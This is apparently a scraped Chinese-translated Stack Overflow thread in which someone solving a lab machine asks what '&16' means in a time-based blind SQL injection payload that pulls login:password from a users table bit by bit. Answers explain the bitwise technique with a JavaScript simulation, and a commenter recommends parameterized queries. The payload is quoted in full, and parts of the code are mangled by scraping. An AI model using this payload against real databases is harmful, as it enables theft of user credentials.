&16 在这个 MySQL 查询中做了啥?

Posted

技术标签:

【中文标题】&16 在这个 MySQL 查询中做了啥?【英文标题】:What is &16 doing in this MySQL query?&16 在这个 MySQL 查询中做了什么? 【发布时间】:2021-12-12 16:05:17 【问题描述】:

我有这个mysql查询,唯一看不懂的就是这部分&16

if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)

我正在尝试解决我有盲 SQL 注入的机器:

这是查找登录名和密码的整个有效负载,逐个字符:

hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1

实现 16 值的代码由 2**bit 完成 位值范围为 0 到 7

【问题讨论】:

& 是按位与运算符。 dev.mysql.com/doc/refman/8.0/en/… 这是一个练习还是在实时服务器上?如果是这样,请使用参数化查询并且不要存储纯文本密码 您的日志中是否有类似的查询,其中substring(..., 2, 1) 部分不同? @SalmanA 是的!当程序找到该字母时,它会移动到下一个字母。例如:假设登录名是 admin。当他找到字母 a 时,他会更改为第二个字母,依此类推。所以它开始:substring(..., 1, 1) 然后substring(..., 2, 1),等等。 【参考方案1】:

此人似乎正在尝试检查用户名 + 密码的第二个字母是否属于以下 ascii 字符范围之一:

16 - 31
48 - 63
80 - 95
112 - 127
144 - 159
176 - 191
208 - 223
240 - 255

我相信您会发现对于用户名 + 密码的每个字母、1、2、4、... 128 之间的每个值以及用户表中的每一行都有类似的尝试。

现在,这就是他真正想要做的事情:

您需要 256 次尝试使用蛮力猜测一个字母,即您检查 ascii 代码 0x00 - 0xFF。但是,如果bitwise AND 操作可用,您可以一次检查一位并准确猜出 8 次字母。这是他正在尝试做的 javascript 实现:

// assume this is the character from substring(..., 2, 1)
let substring = String.fromCharCode(Math.random() * 256);

// ...and this holds the ascii value of the character he's guessing
let cracked = 0;

// i represents the values used in the "&" operation
for (let i = 1; i <= 128; i <<= 1) 
  console.log(`i = $i.toString().padStart(3, " ") (0b$i.toString(2).padStart(8, "0"))`);

  if (substring.charCodeAt(0) & i) 
    // when "&" operation results in a truthy value he spots a 2 second delay
    // ...and updates the guessed value
    cracked |= i;
  


console.log(`that substring: $substring`);
console.log(`cracked string: $String.fromCharCode(cracked) ($cracked)`);

【讨论】:

哦,好吧,但为什么它的势能是 2?我正在使用 python,并使用 2**bit 生成这些数字 对不起,我很难理解。 10000000b 是从哪里来的? 好吧,但为什么要使用二进制文件?这是代码在发现第一个字母是 aO, of *admin 之前生成的内容:` injection: hacker' or if((select ascii(substring((select concat(login,':' ,password) 来自用户限制 0,1),1,1))&1),sleep(2),0) 和 '1'='1` injection: hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),1,1))&amp;2),sleep(2),0) and '1'='1 injection: hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),1,1))&amp;4),sleep(2),0) and '1'='1 让我们continue this discussion in chat。【参考方案2】:

它从users 表中的单行中的单个字符中提取单个位。

如果成功,则攻击者知道他们可以查询您的用户和密码。然后他们可以结合许多其他查询从其他字符中提取其他位。一旦他们掌握了所有这些信息,他们就可以在他们的计算机上将这些信息拼凑起来,并重建完整的用户名和密码。

为什么他们会以这种奇怪的方式,一次一点?

因为这样他们不必返回数据来知道它是什么。他们可以一次检查一个位,这会影响它运行的查询的结果。他们检查了:

hacker' or if(...,sleep(2),0)

如果位为 1,这将导致查询延迟 2 秒,如果位为 0,则不会延迟。他们可以对结果进行计时,从而知道是否设置了特定位。一旦他们对所有位执行此操作,他们就知道完整的字符串。

【讨论】:

以上是关于&16 在这个 MySQL 查询中做了啥?的主要内容,如果未能解决你的问题,请参考以下文章

strdup() - 它在 C 中做了啥?

“()”在等级声明中做了啥

“复制”在 ffmpeg 命令行中做了啥?

Include() 在 LINQ 中做了啥?

tokenizer.max len 在这个类定义中做了啥?

这个“and”语句实际上在返回中做了啥?